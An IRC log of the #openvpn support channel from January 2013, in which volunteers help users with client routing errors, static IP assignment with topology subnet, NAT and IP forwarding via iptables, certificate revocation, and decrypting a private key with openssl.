05:12 -!- pie__ [~pie_@94-21-58-185.pool.digikabel.hu] has quit [Changing host]
05:12 -!- pie__ [~pie_@unaffiliated/pie-/x-0787662] has joined #openvpn
05:16 -!- pie___ [~pie_@unaffiliated/pie-/x-0787662] has quit [Ping timeout: 272 seconds]
05:30 -!- Porkepix [~Porkepix@ppp-seco11pa2-46-193-129.223.wb.wifirst.net] has joined #openvpn
06:08 -!- dazo is now known as dazo_afk
06:19 -!- Porkepix [~Porkepix@ppp-seco11pa2-46-193-129.223.wb.wifirst.net] has quit [Ping timeout: 255 seconds]
06:19 -!- defswork [~andy@141.0.50.105] has quit [Quit: Ex-Chat]
06:31 -!- cjs226 [~cjs226@99-61-64-43.lightspeed.austtx.sbcglobal.net] has quit []
06:34 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has joined #openvpn
06:37 -!- igor__ [~igor@pd907e599.dip0.t-ipconnect.de] has joined #openvpn
06:43 -!- brute11k [~brute11k@89.249.235.33] has joined #openvpn
06:56 -!- JPeterson [~JPeterson@s213-103-211-58.cust.tele2.se] has quit [Read error: Connection timed out]
06:57 -!- JPeterson [~JPeterson@s213-103-211-58.cust.tele2.se] has joined #openvpn
07:03 -!- pa [~pa@unaffiliated/pa] has joined #openvpn
07:33 -!- cjs226 [~cjs226@99-42-101-89.lightspeed.austtx.sbcglobal.net] has joined #openvpn
08:22 -!- videl [~pi@fac34-3-82-231-26-27.fbx.proxad.net] has quit [Quit: leaving]
08:25 -!- videl [~pi@fac34-3-82-231-26-27.fbx.proxad.net] has joined #openvpn
08:40 -!- bsdgeek [~bsdgeek@91-66-20-106-dynip.superkabel.de] has joined #openvpn
08:46 -!- KaiForce [~chatzilla@adsl-70-228-65-227.dsl.akrnoh.ameritech.net] has joined #openvpn
09:00 -!- _-Jon-_ [~jon@2607:f2c0:f00f:2100:5054:ff:fe00:884e] has joined #openvpn
09:04 -!- u0m3 [~Radu@92.80.72.203] has joined #openvpn
09:13 -!- _-Jon-_ [~jon@2607:f2c0:f00f:2100:5054:ff:fe00:884e] has quit [Quit: [BX] Reserve your copy of BitchX-1.2c02 for the Apple Newton today!]
09:16 -!- niervol [~krystian@193.106.244.150] has quit [Quit: Leaving.]
09:29 -!- pelle2 [~p@nl102-232-231.student.uu.se] has joined #openvpn
09:29 < pelle2> !welcome
09:29 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
09:29 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
09:30 < pelle2> !goal
09:30 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
09:40 -!- gladiatr [~sdspence@openvpn/community/support/gladiatr] has joined #openvpn
09:41 < pelle2> i just want to connect to a vpn server run by a company providing this service to let customers get another IP, but when i try to connect to it, i get an error message in the openvpn log, and since this error message occured, i can still connect (complete the initiation sequence), but i can't use the connection for actually sending any data through it
09:41 < pelle2> the error message is the following: ERROR: FreeBSD route add command failed: external program exited with error status: 1
09:42 < pelle2> does anyone have a clue as of what could possible be the cause of this?
09:42 < gladiatr> pelle2, What version of opvpn are you running on your end?
09:45 < gladiatr> the problem stems from running as a non-root user.  It should be waiting to drop privileges until after the push options are processed, though.
09:45 < gladiatr> are you using any sort of up script?
09:51 <@ecrist> morning, folks
09:52 < pelle2> well, i'll try to find out, its the client that comes with pfsense 2.1, so i don't really know straight away
10:01 -!- bauruine [~stefan@91.236.116.112] has quit [Ping timeout: 248 seconds]
10:04 < pelle2> can't find it
10:04 < pelle2> do you think it's possible to fix on the client side or is it something they have changed on the server side?
10:08 < gladiatr> it is a problem on the client side.
10:08 < gladiatr> openvpn isn't in a state where it has the correct privileges to add the required routes
10:09 < gladiatr> (what the error you recounted indicates)
10:10 -!- ether0 [~ether0@72.22.83.65] has quit [Quit: Changing server]
10:16 < pelle2> hm
10:16 < pelle2> strange
10:17 < pelle2> if i knew enough about these kind of things, i guess i could add the route manually in pfsense
10:17 < gladiatr> I'd ping the pfsense people about it
10:18 < pelle2> yep
10:18 < pelle2> thanks
10:21 -!- master_of_master [~master_of@p57B52A2D.dip.t-dialin.net] has quit [Ping timeout: 255 seconds]
10:23 -!- master_of_master [~master_of@p57B54DDA.dip.t-dialin.net] has joined #openvpn
10:25 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 255 seconds]
10:28 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
10:31 -!- Devastator [~devas@unaffiliated/devastator] has quit [Read error: Connection reset by peer]
10:48 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
10:48 -!- mode/#openvpn [+v s7r] by ChanServ
10:51 < gladiatr> np
10:53 -!- igor__ [~igor@pd907e599.dip0.t-ipconnect.de] has quit [Quit: leaving]
10:57 -!- pelle2 [~p@nl102-232-231.student.uu.se] has quit [Remote host closed the connection]
10:58 -!- pelle2 [~p@nl102-232-231.student.uu.se] has joined #openvpn
11:08 -!- raidz_away is now known as raidz
11:31 -!- pelle2 [~p@nl102-232-231.student.uu.se] has quit [Ping timeout: 276 seconds]
11:33 -!- pelle2 [~p@nl102-232-231.student.uu.se] has joined #openvpn
11:43 -!- Devastator [~devas@186.214.14.25] has joined #openvpn
11:44 -!- Devastator [~devas@186.214.14.25] has quit [Changing host]
11:44 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
11:55 -!- DBordello [~DBordello@unaffiliated/dbordello] has quit [Ping timeout: 260 seconds]
12:02 -!- DBordello [~DBordello@2607:ff50:0:1a::10] has joined #openvpn
12:02 -!- DBordello [~DBordello@2607:ff50:0:1a::10] has quit [Changing host]
12:02 -!- DBordello [~DBordello@unaffiliated/dbordello] has joined #openvpn
12:08 -!- DBordello [~DBordello@unaffiliated/dbordello] has quit [Ping timeout: 260 seconds]
12:13 -!- DBordello [~DBordello@2607:ff50:0:1a::10] has joined #openvpn
12:13 -!- DBordello [~DBordello@2607:ff50:0:1a::10] has quit [Changing host]
12:13 -!- DBordello [~DBordello@unaffiliated/dbordello] has joined #openvpn
12:15 -!- Porkepix [~Porkepix@ppp-seco11pa2-46-193-136.233.wb.wifirst.net] has joined #openvpn
12:17 -!- bauruine [~stefan@91.236.116.112] has joined #openvpn
12:28 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has joined #openvpn
12:37 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
12:44 -!- gladiatr [~sdspence@openvpn/community/support/gladiatr] has quit [Ping timeout: 244 seconds]
12:45 -!- DBordello [~DBordello@unaffiliated/dbordello] has quit [Ping timeout: 260 seconds]
13:13 -!- DBordello [~DBordello@2607:ff50:0:1a::10] has joined #openvpn
13:13 -!- DBordello [~DBordello@2607:ff50:0:1a::10] has quit [Changing host]
13:13 -!- DBordello [~DBordello@unaffiliated/dbordello] has joined #openvpn
13:21 -!- neverme [neverme@201.80.6.95] has joined #openvpn
13:22 < neverme> I was having doubt abount 1 thing on the ccd file, for example I have created the follow config file client1 with ifconfig-push 10.8.0.21 10.8.0.22, what I am having doubt with is, will that limit client1 to acquire the ip ending with 1 or will it get either ip ending .1 or .2 ?
13:22 < neverme> besides that my default openvpn conf is set to start at .50 to ensure lower numbers won't get auto acquired
13:31 -!- anonymuse [anonymuse@cpe-68-173-27-87.nyc.res.rr.com] has joined #openvpn
13:32 -!- anonymuse is now known as intransit
13:32 -!- intransit is now known as intransit[a]
13:33 -!- intransit[a] is now known as intransit
13:34 -!- intransit is now known as JesseWhite
13:41 -!- bsdgeek [~bsdgeek@91-66-20-106-dynip.superkabel.de] has quit [Quit: ByeBye]
14:01 -!- MeanderingCode [~Meanderin@71-213-184-243.albq.qwest.net] has joined #openvpn
14:02 -!- Saviq_ [~Saviq@89-70-82-159.dynamic.chello.pl] has joined #openvpn
14:16 < neverme> So, I might be overlooking it but from what I understood so far If I want to delivery a static ip to each client I need to create a different network to each ? for instance 10.9.1.1 - 10.9.1.2, 10.9.2.1 - 10.9.2.2 and so on or is there a reusable way to do this using the default ip 10.8.0.0 ? or to use it I need to take into account the unusable ips like if I make it 10.8.0.21 - 10.8.0.22 it will also use .20 and .23 so next would start at .25 - .26 ?
14:18 <+pekster> !net30
14:18 <@vpnHelper> "net30" is "/30" is (#1) http://openvpn.net/index.php/documentation/faq.html#slash30 explains why routed clients each use 4 ips, or (#2) you can avoid this behavior with by reading !topology
14:20 <+pekster> neverme: OpenVPN allocates a fake /30 to each client to support Windows limitations with older tap drivers; that's not required anymore with subnet topology, and Linux/Unix just uses a PtP configuration within the inside of the /30 anyway
14:21 <+pekster> (and by "tap" driver, I mean the Win32-TAP driver in tun mode; "tap driver" is just the driver name)
14:21 < neverme> !topology
14:21 <@vpnHelper> "topology" is (#1) it is possible to avoid the !/30 behavior if you use 2.1+ with the option: topology subnet This will end up being default in later versions. or (#2) Clients will receive addresses ending in .2, .3, .4, etc, instead of being divided into 2-host subnets. or (#3) See http://osdir.com/ml/network.openvpn.devel/2005-09/msg00020.html for more history on this.
14:21 < neverme> thanks will see what I can do
14:22 <+pekster> And, after I just scrolled up to see your earlier questio, yes, you can (and should) push static IPs that are outside of your pool range
14:23 <+pekster> When supporting Windows clients in net30 topology, you must push a pair of IPs inside a /30. In subnet mode you push an IP and netmask
14:24 <+pekster> Linux clients can use any 2 IPs. Technically you can even do this (but you should not, for obvious reasons) push "ifconfig 192.168.0.1 10.1.2.3"
14:25 < neverme> I see thanks a lot :) am looking into the topology option to see what changes I need to make etc really appreciated
14:28 -!- brute11k [~brute11k@89.249.235.33] has quit [Read error: Connection reset by peer]
14:29 -!- brute11k [~brute11k@89.249.235.33] has joined #openvpn
14:29 -!- Saviq_ [~Saviq@89-70-82-159.dynamic.chello.pl] has quit [Quit: Ex-Chat]
14:30 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
14:59 < neverme> pekster so I am testing it now, however the client doesnt seem to get the ip keeps saying TEST ROUTES: 0/0 succeeded
14:59 < neverme> I am using ver 2.3.0
15:01 <+pekster> testing what? It's quite possible to use OpenVPN in a configuration that does not set any routes (hence you will need "0 of 0" network routes added.) Post some configs, because I have no clue what your setup is
15:06 < neverme> my server conf http://pastebin.com/5kDAQVEe my client1 ccd is "ifconfig-push 10.8.0.21 10.8.0.22" without double-quotes, my client1 config is equal to the sample file exept I changed the IP it needs to connect to
15:07 < neverme> im running the basic conf and am trying to assign ips 21~30 to 10 pcs
15:07 <+pekster> The 2nd argument to 'ifconfig-push' needs to be a subnet mask, not an IP
15:08 <+pekster> See the --ifconfig-push and --ifconfig parameters in the manpage for usage details, but you need a netmask there (so, 255.255.255.0 in your setup)
15:08 < neverme> I see so when I use topology subnet it must be the netmask ?
15:08 <+pekster> Yup
15:08 -!- gladiatr [~sdspence@24.124.15.166] has joined #openvpn
15:08 -!- gladiatr [~sdspence@24.124.15.166] has quit [Changing host]
15:08 -!- gladiatr [~sdspence@openvpn/community/support/gladiatr] has joined #openvpn
15:08 < neverme> and should I still use it as 252 or as 0 ? because there will be more than 1 sequential ip
15:08 <+pekster> You directly set a /24 netmask in subnet topology
15:09 <+pekster> The /30 stuff is for net30 topology only
15:11 < neverme> pekster sweet its working like a charm now, and yes it makes sense now I was a bit confused because with the default /30 it asked me for the ips
15:11 < neverme> thanks a lot for taking the time to help this noob ;)
15:12 <+pekster> np. Some other small suggestions: get rid of the 'ifconfig-pool-persist' option; it's mostly worthless, and can potentially cause issues (edge cases, but I've seen reports of them when duplicate IPs or something get in there, for w/e reason.) Also, if you're supporting clients that get pool IPs (ie: not staticly set in ccd files) you should set your ifconfig-pool range outside the static range
15:14 < neverme> yeah I am using .21 to .30 and the pool starts at .50
15:15 <+pekster> Not in that server setup it doesn't
15:15 < neverme> will remove the pool persist it was originally from the default config
15:15 <+pekster> The 'server' directive expands internally (see --server in the manpage for details) to use the entire range minus the IP for the server and reserved network/"broadcast" IPs
15:15 < neverme> oh, yes your right , i was reading hte bridge option
15:16 <+pekster> You can override the pool range by defining your own ifconfig-pool directive below the 'server' directive
15:16 < neverme> will do that now thanks a lot ;)
15:16 <+pekster> I think (I don't generally use the server directive - you might actually need to expand the server directive yourself. I'm not sure on that point, actually)
15:19 -!- Drone4four [~gnull@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
15:22 < neverme> per man ifconfig-pool 10.8.0.2 10.8.0.254 255.255.255.0 so it should be fine if I just add below it ifconfig-pool 10.8.0.50 10.8.0.100 255.255.255.0 right ?
15:23 < neverme> below the server*
15:23 -!- [1]JPeterson [~JPeterson@s213-103-211-58.cust.tele2.se] has joined #openvpn
15:25 <+pekster> I guess not: Options error: --server already defines an ifconfig-pool, so you can't also specify --ifconfig-pool explicitly
15:25 <+pekster> So, expand the server directive yourself
15:25 -!- Drone4four [~gnull@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Quit: Leaving]
15:27 -!- JPeterson [~JPeterson@s213-103-211-58.cust.tele2.se] has quit [Ping timeout: 276 seconds]
15:32 < neverme> pekster im rather confused by "expand" it, by that you mean manually change the the startup script and/or manually start the server by defining my own ifconfig, and ifconfig-pool ?
15:33 -!- KaiForce [~chatzilla@adsl-70-228-65-227.dsl.akrnoh.ameritech.net] has quit [Quit: ChatZilla 0.9.89 [Firefox 17.0.1/20121128204232]]
15:34 -!- Mimiko [~Mimiko@89.28.88.177] has joined #openvpn
15:40 -!- MeanderingCode [~Meanderin@71-213-184-243.albq.qwest.net] has quit [Read error: Connection reset by peer]
15:43 <+pekster> neverme: Expand the directive. So instead of using "server 10.8.0.0 255.255.255.0" define 'mode server' 'tls-server' 'push "topology subnet"' 'ifconfig 10.8.0.1 255.255.255.0' 'push "route-gateway 10.8.0.1"' 'ifconfig-pool 10.8.0.50 10.8.0.254'
15:43 <+pekster> etc
15:44 <+pekster> Just read the --server example in the manpage; it shows you all the expansion you would need to do
15:54 < neverme> aha now I understood it, slight change I had to do was server 10.8.0.1 10.8.0.2 rather then netmask besides that it seems to be working just fine with it pool is working 50 and above and the static ips are setting just fine. thanks a lot
16:00 -!- brute11k [~brute11k@89.249.235.33] has quit [Quit: Leaving.]
16:02 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit []
16:03 -!- neverme [neverme@201.80.6.95] has quit [Quit: Leaving]
16:05 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
16:12 -!- bjh4 [~bjh4@ool-4357696f.dyn.optonline.net] has joined #openvpn
16:16 -!- Mimiko [~Mimiko@89.28.88.177] has quit []
16:18 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 255 seconds]
16:19 -!- Mimiko [~Mimiko@89.28.88.177] has joined #openvpn
16:21 -!- cjs226 [~cjs226@99-42-101-89.lightspeed.austtx.sbcglobal.net] has quit []
16:44 -!- pppingme [~pppingme@unaffiliated/pppingme] has quit [Quit: Leaving]
16:47 -!- Porkepix [~Porkepix@ppp-seco11pa2-46-193-136.233.wb.wifirst.net] has quit [Ping timeout: 240 seconds]
16:50 -!- Porkepix [~Porkepix@ppp-seco11pa2-46-193-129.224.wb.wifirst.net] has joined #openvpn
16:58 -!- staticsafe [~staticsaf@unaffiliated/staticsafe] has left #openvpn ["WeeChat 0.3.9.2"]
16:59 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Read error: Operation timed out]
17:09 -!- cjs226 [~cjs226@99-61-64-43.lightspeed.austtx.sbcglobal.net] has joined #openvpn
17:15 -!- Mimiko [~Mimiko@89.28.88.177] has quit []
17:24 -!- Devastator [~devas@186.214.111.24] has joined #openvpn
17:24 -!- Devastator [~devas@186.214.111.24] has quit [Changing host]
17:24 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
17:27 -!- gladiatr [~sdspence@openvpn/community/support/gladiatr] has quit [Quit: Leaving]
18:00 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
18:19 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has quit [Ping timeout: 244 seconds]
19:13 -!- raidz is now known as raidz_away
19:13 -!- blackness [~black@mobile.blackmajic.org] has joined #openvpn
19:37 -!- crhylove [~rthornton@grps-edge-4.visp.net] has joined #openvpn
19:37 < crhylove> Hi, I'm trying to get a Linux Mint laptop onto my corporate vpn.
19:37 < crhylove> Any idea what settings to use under advanced?
19:38 <+rob0> Not sure what you're asking, but it's probably something about your GUI/frontend, not openvpn itself.
19:39 <+rob0> Ask your VPN administrator how to configure the client.
19:43 < crhylove> Yeah, he's lagging. :)
19:45 -!- u0m3 [~Radu@92.80.72.203] has quit [Read error: Connection reset by peer]
20:05 < crhylove> OK, got my vpn setup.
20:05 < crhylove> What's the best rdp client these days?
20:05 < crhylove> remmina?
20:08 < crhylove>  I see freerdp-x11, but I don't see a shortcut for it, and it doesn't launch from the terminal
20:08 < crhylove> :/
20:29 -!- swat [~swat@ubuntu/member/swat] has quit [Quit: Leaving.]
20:44 -!- crhylove [~rthornton@grps-edge-4.visp.net] has quit [Quit: Leaving]
20:44 -!- CrashTM [~CrashTM@69.162.93.219] has joined #openvpn
20:45 -!- clu5ter [~staff@unaffiliated/clu5ter] has quit [Ping timeout: 240 seconds]
20:45 < CrashTM> is it possible to disable a opvnvpn conenction that i gave to someone?
20:47 -!- clu5ter [~staff@unaffiliated/clu5ter] has joined #openvpn
20:53 < blackness> http://paste.blackmajic.org:81/index.php?show=28 this describes my problem in some detail. both systems in this is debian squeeze..any ideas on why im having TLS issues?
21:16 -!- pppingme [~pppingme@unaffiliated/pppingme] has joined #openvpn
21:23 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has quit []
21:51 <+rob0> CrashTM, either revoke the certificate (and use your CRL on the server), or use --ccd-exclusive.
22:08 <+pekster> There's also a 'disable' option you can put in a ccd file specifically for the disabled cert, although it's considered more proper to revoke and generate a CRL if this is a permenant revocation
22:11 -!- CrashTM [~CrashTM@69.162.93.219] has quit [Read error: Connection reset by peer]
22:15 < blackness> i got OpenVPN to connect, but when i try using it i cannot connect to anything but i can resolve hosts just fine just cant 'talk' to remote systems, any ideas why?
22:17 <+pekster> My guess is that your DNS is still using your LAN, yet you have redirected traffic across the VPN where the remote endpoint fails to properly send it upstream
22:17 <+pekster> Post your server & clienet config files for further analysis:
22:17 <+pekster> !config
22:17 <@vpnHelper> (config <name> [<value>]) -- If <value> is given, sets the value of <name> to <value>. Otherwise, returns the current value of <name>. You may omit the leading "supybot." in the name if you so choose.
22:17 <+pekster> Not that, let's try this one:
22:17 <+pekster> !configs
22:17 < blackness> one second..ill paste.
22:17 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
22:18 < blackness> http://paste.blackmajic.org:81/index.php?show=29
22:21 <+pekster> And something basic like 'ping 4.2.2.1' fails after you connect blackness ?
22:22 < blackness> yes
22:22 < blackness> it just 'hangs'
22:23 < blackness> im not using any firewall period.
22:23 < blackness> and DNS works perfectly. dont matter if i use udp, tcp for openvpn.
22:23 <+pekster> Looks like there's something wrong on the server not handling the forwarding properly. Have you properly set up source-NAT?
22:23 <+pekster> !redirect
22:23 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
22:23 <@vpnHelper> http://ircpimps.org/redirect.png
22:24 < blackness> !def1
22:24 <@vpnHelper> "def1" is (#1) used in redirect-gateway, Add the def1 flag to override the default gateway by using 0.0.0.0/1 and 128.0.0.0/1 rather than 0.0.0.0/0. This has the benefit of overriding but not wiping out the original default gateway. or (#2) please see --redirect-gateway in the man page ( !man ) to fully understand or (#3) push "redirect-gateway def1"
22:24 <+pekster> You need both IP forwarding enabled and NAT configured. If you want a double-check of your NAT setup, post the output of 'iptables-save' and verify that 'cat /proc/sys/net/ipv4/ip_forward' returns the value of '1'
22:24 < blackness> should i push that from the client or server ?
22:24 < blackness> im not using iptables.
22:25 <+pekster> The way you're pushing the redirect-gateway value is fine
22:25 < blackness> and /proc/sys/../ip_forward returns 1 on the server.
22:25 <+pekster> (the push you have on the client for explicit-exit-notify is however pointless
22:25 < blackness> okay.
22:25 <+pekster> You need to use some form of NAT; if you're not using netfilter (ie: iptables) how are you performing NAT?
22:25 < blackness> i wasnt aware i needed iptables.
22:25 <+pekster> The bot's reply for "redirect" I posted above indicates NAT is required
22:25 < blackness> do i need a extensive iptables setup for that?
22:26 <+pekster> Nope
22:26 <+pekster> !linnat
22:26 <@vpnHelper> "linnat" is (#1) for a basic iptables NAT where 10.8.0.x is the vpn network: iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o eth0 -j MASQUERADE or (#2) to choose what IP address to NAT as, you can use iptables -t nat -I POSTROUTING -o eth0 -j SNAT --to <IP ADDRESS> or (#3) http://netfilter.org/documentation/HOWTO//NAT-HOWTO.html for more info or (#4) openvz see !openvzlinnat
22:26 < blackness> thats all i need to do?
22:26 <+pekster> IP forwarding also needs to be enabled:
22:26 <+pekster> !ipforward
22:26 <@vpnHelper> "ipforward" is please choose between !linipforward !winipforward !osxipforward and !fbsdipforward
22:26 <+pekster> !linipforward
22:26 <@vpnHelper> "linipforward" is (#1) echo 1 > /proc/sys/net/ipv4/ip_forward for a temp solution (til reboot) or set net.ipv4.ip_forward = 1 in sysctl.conf for perm solution or (#2) chmod +x /etc/rc.d/rc.ip_forward for perm solution in slackware or (#3) you also must allow forwarding in your forward chain in iptables. iptables -I FORWARD -i tun+ -j ACCEPT
22:27 < blackness> so i issue the first line, then the second line and thats it?
22:27 < blackness> i dont use iptables much :P
22:27 <+pekster> Right. Those only stay in memory until reboot, so you should use your distro's preferred way to make both changes persistent
22:27 < blackness> thats not an issue. :)
22:27 < blackness> i got a debian firewall-save i can modify
22:27 <+pekster> /etc/sysctl.conf is usually pretty supported across distros, but every distro does firewall save/restore differently
22:28 < blackness> but im going to test it temp incase im locked out :P
22:28 <+pekster> Yup
22:28 -!- CrashTM [~CrashTM@cpe-98-144-34-109.wi.res.rr.com] has joined #openvpn
22:28 <+pekster> A cronjob to reboot 10 minutes into the future never hurts either ;)
22:28 < blackness> its a VPS..xm reboot domain :P
22:29 <+pekster> It's more fun when you lock yourself out of a physical hardware system that's in a different state with no remote hands ;)
22:33 -!- black [~black@vdsl001.client.black.blackmajic.org] has joined #openvpn
22:33 < black> ok..i got it working.
22:33 -!- blackness [~black@mobile.blackmajic.org] has quit [Ping timeout: 252 seconds]
22:33 < black> now to fix the ident
22:33 -!- black is now known as Guest90493
22:33 -!- Guest90493 [~black@vdsl001.client.black.blackmajic.org] has left #openvpn []
22:33 -!- blackness [~black@vdsl001.client.black.blackmajic.org] has joined #openvpn
22:34 < blackness> sorry for the j/p..
22:34 < blackness> now to figure out how to open the ports..so identd will work and what not
22:34 <+pekster> You want to run an identd on the VPN server, or forward it to your connected client?
22:35 <+pekster> (the former is easier; the latter requires a DNAT rule and binding your IP to the target IP of that rule, or opgionally doing that dynamically via a --client-connect ovpn script parameter)
22:35 < blackness> i got oidentd running on the VPN host.
22:35 < blackness> but it isnt working..
22:35 <+pekster> Now that part I can't help you with :P
22:35 < blackness> atleast i dont think it is.
22:36  * pekster shines his "~" in front of his user
22:36 < blackness> yeah..its running but isnt working.
22:36 < blackness> i just tested it
22:36 <+pekster> I'll settle for using an X509-secured TLS connection to Freenode instead of having identd work :P
22:36 < blackness> i guess i gotta fwd all port traffic to my client?
22:37 <+pekster> You can run identd wherever you'd like; how you get it to reply with the expected value is something I have no experience with. I just send TCP reset packets on my ident port
22:37 <+pekster> (eg: IRC bouncers somehow tie the reply to the user the account is bound to)
22:38 <+pekster> I don't run a bouncer, so I only care about actively rejecting the ident query from the IRC server so I don't have to wait 10 seconds while it "tries" to get a reply on port 113
22:43 < blackness> i got oidentd running on vpn host, and vpn client and it fails..guess i gotta set the vpn dhcp ip
22:43 < blackness> root     oidentd              3894     tcp4   10.8.0.6:113              *:*                       LISTEN :P
22:44 <+pekster> That looks like your client; a request from the server performing the connection (such as the IRC server) will reach your public IP on your VPN server, not that RFC1918 private address
22:46 < blackness> hm.
22:47 <+pekster> That's why you need SNAT to get out; your private 10.8.0/24 network doesn't actually exist as far as the rest of the Internet is concerned
22:48 < blackness> hm.
22:48 < blackness> idk if i got SNAT working currently
22:48 < blackness> i thought all the traffic was passed to the client?
22:49 <+pekster> The reply traffic is, thanks to conntrack
22:49 < blackness> what about request?
22:49 <+pekster> What request? When the client sends data to the VPN server for the outside web?
22:50 < blackness> when i send out a connection to IRC, when the IRC server request information, how would it reach the client?
22:51 < blackness> like, the HostVPN is listening *:113, should it reply what is being forwarded by the client?
22:51 <+pekster> conntrack keeps track of stateful connections, so a reply to a translated session that the client has initiated is sent back to the client
22:51 < blackness> hmm..seems this going to take a little more research :P
22:51 <+pekster> It doesn't work the other way around, because "the Internet" has no way to reach your "10.8.0.6" system. I could be using that on my private network as my home LAN
22:51 < blackness> or im going to have to write a iptables.sh aswell.
22:52 < blackness> what if i direct incoming:113 to the IP of the local lan?
22:52 <+pekster> Right, that's called destination-NAT, or DNAT, and I noted that solution above
22:52 < blackness> ahh
22:52 < blackness> i gotta learn dnat before i cann write all i need
23:03 < blackness> got it working :)
23:03 < blackness> thanks pekster
23:31 < blackness> well, i found a small bug..with my fw, i cant connect to my VPS. how do i open the ports to the host so i can SSH/VPN in?
23:50 -!- blackness [~black@vdsl001.client.black.blackmajic.org] has quit [Ping timeout: 252 seconds]
--- Day changed Sat Jan 12 2013
00:07 -!- blackness [~black@ip98-185-21-138.rn.hr.cox.net] has joined #openvpn
00:12 -!- blackness [~black@ip98-185-21-138.rn.hr.cox.net] has quit [Quit: Leaving]
00:15 -!- blackness [~black@ip98-185-21-138.rn.hr.cox.net] has joined #openvpn
00:21 -!- Porkepix [~Porkepix@ppp-seco11pa2-46-193-129.224.wb.wifirst.net] has quit [Ping timeout: 264 seconds]
00:26 -!- bjh4 [~bjh4@ool-4357696f.dyn.optonline.net] has quit [Remote host closed the connection]
01:07 -!- spricer [~mix@192-0-132-186.cpe.teksavvy.com] has joined #openvpn
01:08 < spricer> Hi, is there a way to pass certificate password to configuration file?
01:09 <+pekster> spricer: See the --askpass option in the manpage. If you're going to use that, you're really better off just decrypting the private key in the first place
01:12 < spricer> You are right I can create new certificate but just still curios in dark side :) txs
01:12 <+pekster> You don't need to create a new "Certificat" at all
01:12 <+pekster> You can decrypt the private key anytime you want
01:12 <+pekster> Or re-encrypt it with a different passphrase
01:12 <+pekster> Also on point: you don't encrypt the certificate; that's public knowledge. You encrypt the private key
01:13 < spricer> that is also true...
01:13 <+pekster> 'openssl rsa -' will output usage on managing an existing RSA key
01:14 <+pekster> eg: to decrypt one, use 'openssl rsa -in current.key -out new.key' or to set a passphrase or change it to a new one, use 'openssl rsa -in current.key -out new.key -des3'
01:44 -!- spricer [~mix@192-0-132-186.cpe.teksavvy.com] has quit [Quit: Leaving]
02:15 -!- brute11k [~brute11k@89.249.235.33] has joined #openvpn
02:30 -!- havoc [~havoc@neptune.chaillet.net] has quit [Ping timeout: 244 seconds]
02:40 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
03:02 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
03:26 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has joined #openvpn
04:15 -!- blackness [~black@ip98-185-21-138.rn.hr.cox.net] has quit [Ping timeout: 260 seconds]
04:15 -!- black_ [black@vdsl001.client.black.blackmajic.org] has joined #openvpn
04:15 -!- black_ is now known as blackness
04:20 -!- b00b [~spunk@smurf.mmnetworks.se] has quit [Ping timeout: 245 seconds]
04:22 -!- CrashTM [~CrashTM@cpe-98-144-34-109.wi.res.rr.com] has quit [Ping timeout: 248 seconds]
04:24 -!- blackness [black@vdsl001.client.black.blackmajic.org] has quit [Ping timeout: 244 seconds]
04:26 -!- b00b [~spunk@smurf.mmnetworks.se] has joined #openvpn
04:27 -!- havoc [~havoc@neptune.chaillet.net] has joined #openvpn
04:27 -!- blackness [black@vdsl001.client.black.blackmajic.org] has joined #openvpn
04:42 -!- Porkepix [~Porkepix@ppp-seco11pa2-46-193-129.224.wb.wifirst.net] has joined #openvpn
04:43 -!- b00b [~spunk@smurf.mmnetworks.se] has quit [Ping timeout: 248 seconds]
04:46 -!- valparaiso [~valparais@ARennes-257-1-179-35.w2-13.abo.wanadoo.fr] has joined #openvpn
04:50 -!- b00b [~spunk@smurf.mmnetworks.se] has joined #openvpn
05:07 -!- b00b [~spunk@smurf.mmnetworks.se] has quit [Ping timeout: 248 seconds]
05:13 -!- b00b [~spunk@smurf.mmnetworks.se] has joined #openvpn
